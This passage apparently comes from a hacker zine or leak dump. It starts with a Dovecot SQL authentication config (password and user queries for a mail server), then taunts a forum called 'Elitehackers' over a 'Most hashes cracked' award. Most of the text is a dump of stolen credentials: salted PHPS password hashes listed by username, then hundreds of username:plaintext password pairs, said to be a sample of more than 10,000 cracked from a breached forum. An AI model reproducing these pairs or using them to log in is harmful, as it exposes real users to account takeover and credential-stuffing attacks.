MySQL manual 17655 # ssl_ca, ssl_ca_path - Set either one or both to enable SSL 17656 # ssl_cert, ssl_key - For sending client-side certificates to server 17657 # ssl_cipher - Set minimum allowed cipher security (default: HIGH) 17658 # 17659 # You can connect to UNIX sockets by using host: 17660 host=/var/run/mysqld/mysqld.sock 17661 # Note that currently you can't use spaces in parameters. 17662 # 17663 # sqlite: 17664 # The path to the database file. 17665 # 17666 # Examples: 17667 # connect = host=192.168.1.1 dbname=users 17668 # connect = host=sql.example.com dbname=virtual user=virtual password=blarg 17669 # connect = /etc/dovecot/authdb.sqlite 17670 # 17671 #connect = dbname=virtual user=virtual 17672 17673 # Default password scheme. 17674 # 17675 # List of supported schemes is in 17676 # http://wiki.dovecot.org/Authentication/PasswordSchemes 17677 # 17678 default_pass_scheme = MD5 17679 17680 # Query to retrieve the password. 17681 # 17682 # This query must return only one row with "user" and "password" columns. 17683 # The query can also return other fields which have a special meaning, see 17684 # http://wiki.dovecot.org/PasswordDatabase/ExtraFields 17685 # 17686 # The "user" column is needed to make sure the username gets used with exactly 17687 # the same casing as it's in the database. Note that if you store username and 17688 # domain in separate fields, you most likely want to return a combination of 17689 # them as the "user" column, otherwise the domain gets stripped. 17690 # 17691 # Commonly used available substitutions (see 17692 # http://wiki.dovecot.org/Variables for full list): 17693 # %u = entire userid 17694 # %n = user part of user@domain 17695 # %d = domain part of user@domain 17696 # 17697 # Note that these can be used only as input to SQL query. If the query outputs 17698 # any of these substitutions, they're not touched. Otherwise it would be 17699 # difficult to have eg. usernames containing '%' characters. 17700 # 17701 # Example: 17702 # password_query = SELECT password FROM users WHERE userid = '%n' AND domain 17703 = '%d' 17704 # password_query = SELECT pw AS password FROM users WHERE userid = '%u' AND 17705 active = 'Y' 17706 # 17707 #password_query = SELECT userid as user, password FROM users WHERE userid = 17708 '%u' 17709 17710 # Query to retrieve the user information. 17711 # 17712 # The query must return only one row. Commonly returned columns are: 17713 # uid - System UID 17714 # gid - System GID 17715 # home - Home directory 17716 # mail - Mail location 17717 # 17718 # Either home or mail is required. uid and gid are required. If more than one 17719 # row is returned or there are missing fields, the login will fail. For a list 17720 # of all fields that can be returned, see 17721 # http://wiki.dovecot.org/UserDatabase/ExtraFields 17722 # 17723 # Examples 17724 # user_query = SELECT home, uid, gid FROM users WHERE userid = '%n' AND 17725 domain = '%d' 17726 # user_query = SELECT dir AS home, user AS uid, group AS gid FROM users where 17727 userid = '%u' 17728 # user_query = SELECT home, 501 AS uid, 501 AS gid FROM users WHERE userid = 17729 '%u' 17730 # 17731 #user_query = SELECT home, uid, gid FROM users WHERE userid = '%u' 17732 17733 # If you wish to avoid two SQL lookups (passdb + userdb), you can use 17734 # userdb prefetch instead of userdb sql in dovecot.conf. In that case you'll 17735 # also have to return userdb fields in password_query prefixed with "userdb_" 17736 # string. For example: 17737 #password_query = SELECT userid as user, password, home as userdb_home, uid as 17738 userdb_uid, gid as userdb_gid FROM users WHERE userid = '%u' 17739 user_query = SELECT CONCAT('/var/vmail/', maildir) AS home, 8 AS uid, 12 AS 17740 gid, CONCAT('maildir:storage=', quota) AS quota FROM mailbox WHERE username = 17741 '%u' AND active = 1 17742 password_query = SELECT CONCAT('/var/vmail/', maildir) AS userdb_home, 8 as 17743 userdb_uid, 12 as userdb_gid, username as user, password, 17744 CONCAT('maildir:storage=', quota) AS quota FROM mailbox WHERE username = '%u' 17745 AND active = 1 17746 17747 17748 Elitehackers also wins the "Most hashes cracked" award beating the previous 17749 champion blackcode.com. They accomplished this despite the fact that we have 17750 a legendary backlog of hashes to crack. 17751 17752 Have some mod hashes and some random hashes. 17753 17754 KraziKlown:$PHPS$526e38$ac11a069bdb7cd833eaee099fc34c1db 17755 napta2k:$PHPS$3b3b40$6352b9e9c5d7d85bf8b98e5c7d98b3db 17756 Chonk:$PHPS$533742$dee75194d6fcf66a9613ad63f54e574f 17757 dbones:$PHPS$6d364b$444adf5c169b087dbb493d2df81483f5 17758 Demon:$PHPS$305f37$820c9648d658cf215152371bfd8eb906 17759 Glycol:$PHPS$6b2100$480ccccbf2d98b15b4323ebfcc54a1c7 17760 Grog:$PHPS$454e67$30c35014e22f2dd362a765267180feba 17761 Iron_Cross:$PHPS$3b4f61$4c6a17bb640614cd57eac7749d59135b 17762 KAOS:$PHPS$462142$99aaea0e77747fceabf98f47197a5c73 17763 Ushi:$PHPS$2a7a3f$7e643d021da1c84ae390c56e7ebc7d98 17764 firewall_bypass:$PHPS$6d0000$56124ef6e8a082e78db61acbeb92c03a 17765 B1nary:$PHPS$47572b$eec4f1b8619d9b26b1ed4c852dc094b6 17766 NightWolf:$PHPS$616164$e9ccbe4a3e5adc1009b38ff05c58f058 17767 G-Brain:$PHPS$353500$01b8c54c1e48cdb73caa2736961d62b8 17768 psycho:$PHPS$613172$117aac030ba2a5f14e0e26da000acf16 17769 Psycho:$PHPS$7a4255$d63bdd12de9db446b906d36587cc692e 17770 Sycho:$PHPS$5a403b$e3d7c033921ec69d5c3566492717c330 17771 psycho:$PHPS$216b69$5ae3dec8044b0013903e4eb6ff4a6199 17772 Maxspeed:$PHPS$693662$92e73b888389c5ece659127ca6cfcbcf 17773 MorningStar:$PHPS$4e657c$b220864f610c45f024374d5bb98263ba 17774 hackinghamster:$PHPS$644b30$7f87b03893238bcb5b891c4d5e6f0ec5 17775 Hamster:$PHPS$2d2759$145961e4f4d1202c62878f0c5aab311a 17776 User:$PHPS$71445f$f96c4b2c088a20866c938d1c79da17d0 17777 BadBoyThePrince:$PHPS$6f5176$0e30c6e137bfef486be920653a53e46b 17778 nekolord:$PHPS$3d4b37$d665b4de93b43d003621bc3667abb0bd 17779 Scrapheap:$PHPS$297026$5f4c91c77fa26a89ff5e4b58e9202893 17780 SPAZ:$PHPS$3d672c$aef6a398576f7c66d52a8a26eebb8c7a 17781 Finman:$PHPS$404231$547eba0337cc4890460060ab3d94aba0 17782 unknown_usr:$PHPS$6b3764$7fd37eab6ec0c6c58aa35cac5e5a8839 17783 sunjester:$PHPS$3b412d$9f6355b3d494d98e14b100e9cdecd0a2 17784 17785 And the ones we cracked... 17786 17787 warezcollector:Paulan1 17788 rmmx:1qaz 17789 doomz:killer1 17790 mind80:ast 17791 the_viPer:trottel 17792 nodrog21:maggie1 17793 penguin:coffman 17794 _1337_Newbie_:z3r0 17795 jediwes:corsair 17796 Demon:09221961 17797 B1nary:59104070 17798 psycho:spug 17799 Psycho:bobby 17800 psycho:02021983 17801 Maxspeed:windows 17802 MorningStar:tobias 17803 Hamster:sk84u 17804 BadBoyThePrince:asasas 17805 nekolord:novascotia 17806 sunjester:34684342 17807 17808 11 password hashes cracked, 19 left 17809 17810 17811 In total... 17812 17813 10479 password hashes cracked, 13523 left 17814 17815 For the fun of it, here's 1000 of them. 17816 17817 warezcollector:Paulan1 17818 rmmx:1qaz 17819 doomz:killer1 17820 mind80:ast 17821 the_viPer:trottel 17822 nodrog21:maggie1 17823 penguin:coffman 17824 _1337_Newbie_:z3r0 17825 jediwes:corsair 17826 dharmabum06:bodhisattva 17827 M45T0R:2222 17828 frito91:homes 17829 Warrior:whizzkids 17830 Goldtassel:cricket 17831 rukidingme:talamar 17832 renegade2003:deadman 17833 bugsfix:bugsfix 17834 suicemibit:camaro 17835 millian:voodoo 17836 SatMedic:123456 17837 Boy:robert 17838 CrAzYmAn370:HUNTER 17839 karnautrahl:katrina 17840 1:eat 17841 Psx_j2:sony 17842 malfunktion:yoyo 17843 boy:taboo1 17844 Interex:presario 17845 coras:genesis 17846 ivj3pa:ivanaj 17847 kmp:kmp80 17848 RaDeoN:05071984 17849 d0p3:nikita 17850 ninja_54:895623 17851 douggiestyle:sabina 17852 bd9:ditu 17853 python:alpha 17854 Soul_Chaser:dragons 17855 Masteroflife:jamesbond 17856 Maxspeed:windows 17857 IGNITE:password 17858 jamieharrop14:thailand 17859 BIG_THREAT:s3cr3t 17860 jo:webcam1 17861 b1lly:openit 17862 TheKingOfMice:underdog 17863 crusader:tribute 17864 Alchemist:front242 17865 Klown:insane 17866 mark:hubert 17867 crazy8:6148 17868 commander:0502 17869 newbie:brazil 17870 hoowzer:honor 17871 Elvoret:123456 17872 Virus:dragonfly 17873 EvilBuffer:qwerty23 17874 expedition:xtc 17875 Rhyno:gyros 17876 _Sylent.X:007 17877 Hejvan:coushin 17878 maddoorsfan:julie 17879 MysTiCalGohAn:dbzdbz 17880 darth1968:candy 17881 arnold:rannug 17882 NaTaS:satan 17883 Iorekr:diablo 17884 Aseren_:whatever1 17885 Red:hello 17886 cutejai:auscam 17887 -bNlitz-:drsmith 17888 TeZ:485112 17889 CSAssassin2:bean21 17890 Risto:mathers 17891 tg0m:monkey 17892 twiggy110:trustno1 17893 djmcjinx:99999 17894 Tzu:hi 17895 guitaro:deville 17896 Darius:zilch 17897 Inc.:sebastian 17898 Recondo:schumacher 17899 THEDUCK506:1q2w3e 17900 Fallen_angel_831:fallenangel 17901 mack_ol:nbb 17902 troubles:troubles 17903 philipw:auckland 17904 Insane:archdevils 17905 CodeTracker:codetracker 17906 NytesEyes:ireland 17907 Bellix:bellix 17908 marcs_fallen_angel:Godsent 17909 kaizersosae:kaizers 17910 gbosy:123456 17911 luca:testtest 17912 1.0:fish 17913 Willoc:revilo 17914 Jakex:greenday 17915 CEKTOR:lanparty 17916 Sethik:awed 17917 w8n4afreak:eu86t 17918 gbmaster:diglet 17919 786:raza 17920 coold8956:coold 17921 nuccom:radioactive 17922 darkdashing:hello 17923 whitwulf:albino 17924 Quicksilver:hugo 17925 napster666:wetwilly 17926 MatriX_jr:alisha 17927 timmieboy88:lemmein 17928 cynergy:diablo 17929 Foxman:foxman 17930 x:louise 17931 Hyp3ri0N:kookies 17932 badaxxe:davy 17933 Josmul123:fuzzball 17934 Rax:dick 17935 CrazyDrummer15:64897 17936 MASTER:12345678 17937 jaybee:jaybee 17938 Incideus:change 17939 lopez:lopez 17940 pretty_fuck:thomas 17941 xaero:gamma 17942 Prowler:prowler 17943 kinky-kroon:warzone 17944 AtomSoft:jasonl 17945 Freak:phreek 17946 BoB:sanderson 17947 PhAtE:phate 17948 Trickster:shadow 17949 scarsofvelvet:11111111 17950 STICK:reaver 17951 kyle2227:2227 17952 InHuman:hawley 17953 bLaCkHaNd:rascal 17954 vertigochild:whatever 17955 Vinyl:phoenix 17956 viperdqn:nenga 17957 KingOfKingZ:123456 17958 Kindred:cobra 17959 Toufa:ty98 17960 BLaHRiP:none 17961 thtswhereyawrong:asinat 17962 zwhomes:bandit 17963 FATAL-1:izzy 17964 Raiden:Digital 17965 Sandy:dingle 17966 amirman2099:shortcut 17967 Guardian:locks 17968 FEAR:piff 17969 iceflash:123456 17970 kukyfrope:grassroots 17971 imdonly1:password 17972 Psyon:iforgot 17973 McGuinness:hanging 17974 drkchld:1782 17975 arch17c7:matrix 17976 Makaveli:birchard 17977 althea105:althea 17978 miamiboy:123456 17979 ROZE:roze 17980 cobra48:zxcvbnm 17981 roberto:romece 17982 Gr8Lori:gloria 17983 Hunt:bottle 17984 cupido2:hello 17985 XXKodiaKHackeRX:radio7 17986 Meep:cool 17987 Raines:Redwings 17988 lalakis:123456 17989 Moco:vt 17990 EliteTwats:wankers 17991 hellspawn:doggys 17992 drblackjack21:sunflower 17993 Nirvana:glasaal 17994 chrisf:badass 17995 athlon800:jasper 17996 Chance:822822 17997 ColdY:green 17998 ForbiddenTouch:lexmark 17999 violentone666:acef 18000 Loaded:kamari 18001 cheshirecat:eyes 18002 Cruach:evil1 18003 nonsense:satire 18004 bobbybob:123456 18005 T:darkdog 18006 L1nk:instinct 18007 cszwed:cszwed 18008 Error:reddragon 18009 Ashnak:willie 18010 Escobar:limpbizkit 18011 Redwater:crapper 18012 Smight:toad 18013 tiger:freedom1 18014 da_killer:avatar 18015 Soldier:midgar 18016 Whoremoans:bobby 18017 SnowCrash:password 18018 Invisibl3:david1 18019 Mega-Hawk:123456 18020 Starrman:deejay 18021 nullz0r:magic1 18022 duke:1984 18023 fuguz:fuguz 18024 invalidsource:sourcecode 18025 ALLAN:fatboy 18026 Scorpions:Scorpions72 18027 REmixER:poiuytrewq 18028 BlAcKhAcK:lightning 18029 Idiot:idiot 18030 dathuilfia:fireman 18031 FyrFytr44:114182 18032 Warrior:relena 18033 Hilick:Roland 18034 Nemo2002:nautilus 18035 Phan:frasse 18036 Half-Guy:1 18037 acadril:mike 18038 CowboyBebop:CowboyBebop 18039 j0ker:hacking 18040 yoyoyo:yo 18041 SYN:poiuytre 18042 trekiejon:486570 18043 SecureBreach:122782 18044 Creep:therock 18045 Crasher:0411 18046 Squam:sublime 18047 magickone:etherton 18048 thatguyyoudontknow:anonymous 18049 michan:yumes 18050 fossymike:hilda 18051 kippetje:joris 18052 G3n0cid3:talon6 18053 stupidfool:tippy 18054 tumor:andrea 18055 da_vato:lowlow 18056 garfy:slovenia 18057 jwufme:shibboleth 18058 Ghost:Caspar 18059 Girl:number1 18060 bonytony:170120 18061 killer64:password 18062 notting0:happiness 18063 The_Rorschach:Fugazi 18064 anzac:wildcard 18065 Okt:2000 18066 holmes:TROY 18067 Dudley:letmein 18068 ZodGilla:phunky 18069 afrodziak:brenda 18070 gemma_2oo3:robbie 18071 Skipaco:paradise 18072 gamefreak:rawiswar 18073 LotustVH:120973 18074 spyder299:1spyder 18075 Sharona:miriam 18076 Daelanus:tartarus 18077 kernelpanic:sofie 18078 cod-e:sandman 18079 glasyalabolas:moltar 18080 fungivore:spyderco 18081 Freeman:sithlord 18082 pc_anyone:draziw 18083 funkadl:1234 18084 maxwel:master 18085 zedopipo:123456 18086 mamma555:mamma 18087 jjunited7:becks 18088 Goloubev:maria 18089 Guarddog:1568 18090 eGoTTi:crystalscan 18091 dflw55:55dflw 18092 deepsouth:811820 18093 utumkodur:moloch 18094 Marius_Vryce:michelle 18095 canytellu:motocross 18096 zsigger:jojojo 18097 Hart's:flywheel 18098 bmw222000:goldfish 18099 McBane:oralia 18100 KbudE:q1w2e3 18101 Erestar:reimann 18102 Freon444:crap 18103 eroican:eroica 18104 Thrillz:12345 18105 dragon:windwalker 18106 Graphics:random 18107 dummy:lenong 18108 Brett19:diablo 18109 brother:broman 18110 sharkfood:9770 18111 RazorChrist:affinity 18112 Incognito1:pantera6 18113 Z:boll 18114 Hanibal:Hanibal 18115 ReaLOnEE:password 18116 Lane:cimbom 18117 explorer:thatisit 18118 [xaos]:hitman 18119 blight:ninnin 18120 killer:24 18121 liquidloop:nothing 18122 LiVeViRuS:gateway 18123 rEjeCT:pana 18124 Dennis_the_menace:Millenium 18125 kruzty:crappo 18126 hurleykid1:passport 18127 firox_uk:predator 18128 kuma11:tricia 18129 BigPete:asskicker 18130 Anblick:itisme 18131 benbob:benbob 18132 silka1234:bimbo1 18133 sirhcv:perfect 18134 RageUO:jericho 18135 Panzer99:telephone 18136 Marshall:password 18137 Zer0_Co0l:71380 18138 driver2:1 18139 PROTON:PROTON 18140 JeLlYfIsH:jessica 18141 psycho:spug 18142 nuke:pierre 18143 Striker:lilian1 18144 Newb460:sekhmet 18145 ramiro:74123 18146 austin:cow 18147 cybercrack:Cyber 18148 Iain:password 18149 CommandoCW10:123ccc 18150 kevdog777:michael 18151 tvguy:money 18152 muffpuppet:looga 18153 RoadKill:2122 18154 ICaRuS:qqw 18155 spinyebo:fuckyoutoo 18156 CyberTooth:passport 18157 saraiva:062 18158 KeithN:manutd 18159 Spike:n0ne 18160 Tolerance:powers 18161 Brian:jollyrogers 18162 omenator:edwards 18163 microsoft_kpo:25101986 18164 pornovis:xyz 18165 Sarah:enigma 18166 Toni:butterfly 18167 lunatic:estelle 18168 King:reliable 18169 Sin:guy 18170 xplorer3:mitabrev 18171 Jr.:passport 18172 tdub:twf 18173 cro)Defiler:kima 18174 Mantle2600:tribe 18175 jayman:164810 18176 yuchume2:peewee 18177 ravenowl:3425283 18178 ShaneOmacK:therock 18179 neontrain:neontrain 18180 molusc:winnie 18181 fear:fear 18182 Cyndrax:redalert 18183 Meat:oliver 18184 sExY:hehehe 18185 pchillman:lancaster 18186 KAS:THEROCK 18187 drewdonc:raytel 18188 Tell:caramba 18189 Vashen:elite 18190 raptor_ri:raptor17 18191 2003paul182003:brambles 18192 Slayer:wildman 18193 CZ-Nero:helena 18194 hypur:Qwerty 18195 Mindhax0r:adolf 18196 peterla:peterla 18197 Daddy:shit 18198 Grynn:grynn 18199 Hunbig:cc 18200 Swodi:122386 18201 Untouched:jamesbond 18202 Gigglepants:trustno1 18203 Satanist-imam:123123 18204 Edud:qazwsx 18205 r0gu3:qwaszx 18206 Day:faith 18207 SuperSeeper:111222 18208 dicko:drdre 18209 joker1war:buster 18210 Analkosmetik:666666 18211 wcarlzzon:1977 18212 ganymed2:thomas 18213 phreak:abc123 18214 ]{AbOom!:nono 18215 quantity:semperfi 18216 Erikswe:warez 18217 Soldado:gustavo 18218 Zincaito:typhoon 18219 TheTess:23 18220 Lasher:blue 18221 Appie:heineken 18222 angry_platypus:12345 18223 spicy:786110 18224 Studly:xwings 18225 Thunderbolt:dalgas 18226 dewweydawg:handle 18227 WilsonTheVolleyball:kenner 18228 225:29385098 18229 fsop:william 18230 Tamerlane:lemon 18231 CouldBeTRiPP:beebop 18232 Bitterwoo:bitterwoo 18233 leeya:randhir 18234 bingobongo:andyb 18235 VBNoob:437782 18236 frog22:hop 18237 sano:philly 18238 Aceman:aceman 18239 i.c.e.m.a.n:computer 18240 Beast:letmein 18241 Cypher:220587 18242 terblo:terblo 18243 bhomie:steven 18244 Jeeto:jimboy 18245 eagel:tusse 18246 Sarge:fairmont 18247 itreality:9177 18248 railforreal:qazwsxedc 18249 Man:dantheman 18250 Holmes:amirman 18251 InfinityO:123456 18252 SquirrelBoy:usagi 18253 rpg2001:pierre 18254 mind:mind 18255 dssgorila:windows 18256 hacker:987654321 18257 Cool:Trisha 18258 newbiehacker:159951 18259 Mr_BigTime:ninja 18260 blkburn:waterloo 18261 Byte:piff 18262 kaosprince:kitten 18263 fabchat:fabrizio 18264 Mind:pillow 18265 Hawk:krap 18266 dan:wild 18267 superturbo:800070 18268 darth_maul_destroyer:lightsabre 18269 skar23:skar23 18270 t0lik:moscow 18271 ZeRo:freedom 18272 Onion:love 18273 Snoop:baseball 18274 HappyFroggy:happy 18275 K_Dogg:thedog 18276 dumbsmurf:jstevens 18277 Goop:Goop 18278 DraganX:buster 18279 atmosphere:google 18280 nikpao:george 18281 Danish-Newbie:anders 18282 sonu:taju 18283 The_Burning:adam04 18284 google:abc123 18285 clarenceworley:nexus6 18286 Sc00b_E:ginger 18287 jfgould:1547 18288 stalepea:hatred 18289 RJ:schiess 18290 Covet:death 18291 gufrey:carter 18292 arat_thegreat:2353535 18293 neo15:union 18294 Man_Eating_Cow:password 18295 freeb0rn:greece 18296 sandplasma:marisol 18297 simpson:187187 18298 VidKid:gibson 18299 Louder00:dartagnan 18300 Osiris:jester 18301 flyer13:hmb 18302 throbber:abide 18303 antiposer:261127 18304 BlackGem:abcda 18305 ToKeMoN:eminem 18306 FuckinMS:trinitron 18307 Eiskalt:blubb 18308 phreaK358:blowme 18309 Stolenhorse:moviestar 18310 Apach:budale 18311 KevGymnast:rapture 18312 schoki:14807 18313 Copycat:seymour 18314 Papineau1837:clark 18315 walter:pharma 18316 Brodog:nihongo 18317 WaNg_535:lasher 18318 leafit:284812 18319 the-space-cowboy:acheron 18320 rockforlight:zapatista 18321 Scorpion636:12345 18322 Droogie:nilsson 18323 slysoft:898989 18324 masterhacker:jhi 18325 G0dz0rs:brian 18326 dimension:dimension 18327 pependejo:pepon 18328 mr.blond:666666 18329 Lov2xLR8:rockstar 18330 OverClocked:password 18331 Cristy:1340lu 18332 death_metal:1488 18333 II0II0II:123456 18334 Infyrno:cstrike 18335 Virus:valentine 18336 sossa:lulop 18337 hknightmare:hockey 18338 GoKarter44:champ 18339 Guybrush:LarsLars 18340 catwoman248:kitty 18341 jittles:nermy 18342 NICkY:claudius 18343 yeahbaby:brooklyn 18344 lordeclipse:thunder 18345 Herro:frogfrog 18346 pistol:eminem 18347 JohnnyRebel:anfernee 18348 johnross:090284 18349 JoTuN:clent 18350 Damascus:blueberries 18351 Dr4k3:314159 18352 Name*:redbull 18353 AJ:shiatsu 18354 Tricia:tricia44 18355 shank:password 18356 pcr:pppp 18357 ttelite:elite 18358 jupdyke:112358 18359 hunter:hunter 18360 Duck:duck 18361 Fiend:simple 18362 ALLURE:SAMUEL 18363 Seven:sambuca 18364 CSAssassin:bean21 18365 xyi:hardcore 18366 Eaglescott:eaglescout 18367 Marley:menace 18368 ineedhelp:123456 18369 T0rn:sadbuttrue 18370 Kate:kate 18371 St1nkF1nger:lemmein 18372 greggles:Sambrook 18373 lastchance:robert 18374 sane:sane 18375 numb:12345 18376 Darkelf30:4462 18377 compman69:123456 18378 DslLmi:turbo 18379 L.D.50:frederik 18380 chuckie:523470 18381 kaio2k2:12345678 18382 Cor:2132 18383 Ikon:pana 18384 JadeDragon:holly 18385 turby:doritos 18386 child:tigger 18387 void:override 18388 Man:single1 18389 Jebus:cambridge 18390 aussieron:pussy 18391 silentsharp:ZZZZZ 18392 extasy1:xuser 18393 cks_cropper:challenger 18394 Tony:abc123 18395 ic0n:suckit 18396 BBW:Annemarie 18397 alien3210:mommy 18398 ZEROCOOLWANNABE:owell 18399 Huron:rambo 18400 klitwoman:123456 18401 l33thacker:aaaaaa 18402 Zigmund:gandalf 18403 LicKer:killer 18404 Nobody:blahblah 18405 gripweed:bodhisattva 18406 GeTaFiX:asterix 18407 Skulls-Ettin:rain 18408 WeMiC:beebop 18409 xstml:alpha 18410 asfopoo:same 18411 4ssassin:31337 18412 winhex:winhex 18413 a9572:turky 18414 Holst:hackhack 18415 robinhood:canada 18416 purplewarlock:makeitso 18417 Duritz:TULLE 18418 Skitz0FrAntIC:shit 18419 marcelo_melo:melo1977 18420 inneedofporfesionalhelp:hacker 18421 zag:ccsf 18422 rolonrolon:nightnight 18423 Banzai18:banzai 18424 Peace:guitar 18425 canwin:wantto 18426 satanbaby:superman 18427 Soldier:seifer 18428 ltlMonster:jaws 18429 DaveVato:butthead 18430 KyLe:tuesday 18431 Barrakketh:183461 18432 Jimathy:surfing 18433 JenDoc:jenn 18434 nirav:password 18435 Gremmie:180155 18436 YeahMeToo:metoo 18437 KnuckL3Z:cafer 18438 LongBeach4Life:surfer22 18439 jestreb:kompas 18440 Thor:kingking 18441 gnomie007:nedkelly 18442 Lo-Key:anarchy1 18443 Cinus:goldberg 18444 Miami_Man:felix 18445 unregistered:unregistered 18446 dime:helpme 18447 Austin3600:get316 18448 raja:rani 18449 abe8810:athlon 18450 Smokez:0000 18451 No_Hack_Guy:moose 18452 hephus:joe 18453 jester5386:homerjay 18454 Asina:shit 18455 wallawallawashington:peace 18456 escadron:kewin 18457 illusive:thend 18458 ARMYBOY69:qwerty 18459 e-shark:485112 18460 AntiQser:zxcvbnm 18461 wyclef182:zzzzzz 18462 greek2001:nikolas 18463 projectkmo:drevil 18464 brain:crepitus 18465 dilhole:brittany 18466 whiterabbit:champion 18467 Szpaner:diablo2 18468 Squirrel:pomme 18469 slackerhacker00:spongebob 18470 lillkocken:music 18471 TT:jujai 18472 Sighbernaut:poser 18473 Bird:fuckyou 18474 cachas70:caliente 18475 regbomber:123789 18476 Vision:alpha1 18477 michel45:roberto 18478 bleh:give 18479 hbk:therock1 18480 Bubbe:Berliner 18481 halfabox:ladybug 18482 mrcarp:rayann 18483 CcHakNjaKcC:120981 18484 dvinds:nobody 18485 KaiserWizard:john 18486 bertje:bertje 18487 PurpleWeenie:Dragon 18488 Registered:frogfrog 18489 billy_the_kid:112233 18490 snipeman:147896 18491 beej:register 18492 eyesolus:innovision 18493 topdiggy2:pimpin 18494 vhvn:newnew 18495 GamblorX:blitz 18496 Neptune:TRITON 18497 tester101:linux 18498 assilem:diablo 18499 Tropez:1134 18500 ciced:smith 18501 nightrider_00:alpha 18502 killed-by-firewall:zahra 18503 PlaYaZ:blowme 18504 sephirothzero00:element 18505 RickMasters:s1mpl3 18506 RADAR:radar 18507 bcvfd2:cows 18508 spider-man:rachel 18509 cuz:burt 18510 classified69:whore 18511 landshark:fish 18512 mark34:yellow 18513 taz:samuel 18514 Amichan:moon 18515 madmartigan:1313 18516 Mojophobiac:Centauri 18517 ~??????_V?L?????~:maxell 18518 EnsignE:qazwsx 18519 Atlantis:blue 18520 atlasshrugged:fart 18521 Ozzman:ozzy 18522 newbie1011111:xxxxxxxx 18523 dreadblaze:continuim 18524 BURN:24911 18525 shantzy:25802580 18526 ggordon:mmoshi 18527 LuNaTiCPropheT:halflife 18528 Riz:kut 18529 shackyman01:2040 18530 wonderbreadjn:scooby 18531 Vasquez:smigul 18532 GreyWolf:playstation 18533 effix:nevernever 18534 marci:master 18535 airic:koalabear 18536 goldfingermafia:bibbob 18537 iambobmarley:marley 18538 sdsg_85:2cool4u 18539 lockon:shearer9 18540 Blade:hacker 18541 EvilDrKimble:101183 18542 Trick:plat 18543 legibleskate:rentrap 18544 hbk1982:lionking4 18545 Gill:pilgrim 18546 Eclipse:elitist 18547 Dubworth:Hotties 18548 Sniper:movies 18549 Burr:poop 18550 SniperG:melody 18551 david:oquendo 18552 myne_h:b16a1 18553 jjnxs:peaches 18554 Killed:kyle11 18555 fata1ist:sony 18556 Maleioch:kirin 18557 Eidolon:vette1 18558 Urthrun:bonzie 18559 asd159263:decent 18560 phantomzz:menace 18561 Psytrix:crashand 18562 Tizio:cacca 18563 kuba:pgpgpg 18564 Bananamouse:spikerip 18565 exhale:gator 18566 2JR:buba 18567 all:123456 18568 NTidd:rapalA 18569 JBKlyde:smokey 18570 Rapture:idontknow 18571 hugo-yurway:elegance 18572 sinseray:breanna 18573 RCV:burritos 18574 joebananas:busto 18575 j0nD0:PRIMITIVE 18576 Shedim:dark 18577 Zikterion:2203 18578 X-Factor:three 18579 RandomIdiocy:stuffies 18580 God:sword 18581 NooBie:qwertyuiop 18582 ZeroVince:nadia 18583 Z?K??N:beta 18584 visitani:asker 18585 mr.sicko:mike 18586 DarkMan:elite 18587 Skullmaster:scooter 18588 The-Tech:rainbow 18589 gablag:lautrec 18590 n00b:mystery 18591 mcfly:wouter1 18592 Metalz:pitbull 18593 kalaharimonsoon:alpha 18594 ikonyxs:music 18595 mweed4:peebee 18596 Maya_Spiritus:zerocool 18597 thecows:fucker 18598 xsquare:ravens 18599 i_am_big_dave:hackers 18600 clare1979:jeremy 18601 ALIVE:187187 18602 SassaFrazzz:sindy28 18603 Balis:545937 18604 rickterr:jericho 18605 #1:123 18606 jaymunee80:bathroom 18607 kimberly:amireal1 18608 ToxicAcid:gaming 18609 Laura:n2deep 18610 dragon7025:zxcvbnm 18611 Ryan:default 18612 chuckg:chazz1 18613 KiNG:computer1 18614 Cash^^:nn3 18615 Compuwiz:stinky 18616 warezwaldo:peace 18617 DERS1:ders1 18618 crazedmnk:chatter1 18619 ThE_BoSS:2320111 18620 jfar:qwerty 18621 newbie2003:toshiba 18622 keydriver:passwd 18623 God:monkey 18624 me:siberia 18625 Silverwing:silverwing 18626 ominus7:se7en 18627 fandtm666:teacher1 18628 cracker_the_hacker:ccccc 18629 Xanax:ffffff 18630 OVERRUN:exploit 18631 CHUPACABRAS:11111111 18632 unelitehacker316:parham 18633 nex:squaresoft 18634 Frog:jonah 18635 GANT:CORNER 18636 Damaged1:imzadi 18637 Omega:qwertyui 18638 Chairman:rainman 18639 Paul19:Paul19 18640 Gecko:mangie 18641 eyeball:termite 18642 G_kid:redwater 18643 GBMN:michael 18644 3nigma:ali 18645 midnite23:1969 18646 gogoguez2000:stumptown 18647 spoz:navyseal 18648 L1ThIuM:011386 18649 westwoodpnefc:mowers 18650 Sledge:aviation 18651 LONGNLOOSE:019210 18652 theWhizKid:chessino 18653 Irc^Systmzz:022367 18654 xthunderx:thunder 18655 phat_matt01:mattp 18656 rogeriko:naxos 18657 gamer:adios 18658 OldMan39:by8540 18659 Asmodai:gangster 18660 Ronin:slampa 18661 CHAZ3R:wonder 18662 Usus:courtney 18663 Kimo:975384 18664 atilla:airplane 18665 UnknownHacker:biggame 18666 Prime:freshmeat 18667 De5ineAnnihilation:crystal 18668 Epyon:gundam 18669 DeadGirl:iloveyou 18670 paul:1234 18671 xavic:themaster 18672 Cyres:Cyres 18673 advinoki:33305 18674 DA:butterfly1 18675 Zmazha:girl 18676 The_Master:corinna 18677 beastineden:danny20 18678 synthax:mushki 18679 AtomiX:280472 18680 red28200:lionheart 18681 AnotherFruitcake:Melvin 18682 narayan:nayaran 18683 biggjames:shaft 18684 otreus:uffaaa 18685 Peepy:sinder 18686 tumnus:ninja 18687 Christ:dumbass 18688 Dunceor:stefan 18689 sabien69:disowned 18690 Datafreak:security 18691 master008:19840824 18692 heinz2417:oldenberg 18693 fixio:meathead 18694 tedloon:cathy 18695 tonykula:freddie 18696 Reptevye:javert 18697 OD-IceCLown:powell 18698 WorshipTogetherWithGOD:mary 18699 5t3v*:logjam 18700 Carrera:Jonathan 18701 ACE_WH1:cisco123 18702 SAFAKA:MERT 18703 bear_claw:bear 18704 Sean111:wutang 18705 cannabizman:weed 18706 yesukai:paranoid 18707 AbsoluteSaro:worthless 18708 dfman:0009 18709 jk3587:48469 18710 neo2028:trustno1 18711 chrisgage:12345678 18712 Zeke420:chefchef 18713 Otak:bailey 18714 MadNav:mommom 18715 ManOvaBoard:christophe1 18716 HoboBrain:chilli 18717 corbin:honda 18718 SUSPICIONS:1QAZ 18719 skyview:padraig 18720 BradshaW:fuckoff 18721 Newdog:newdog 18722 Illumini:inimulli 18723 Spook:00 18724 [-X-]:bobos 18725 andy:colleen 18726 CrazymanSixty9:iamgod 18727 icebrain:drowssap 18728 Informer:tif 18729 scobee:peterb 18730 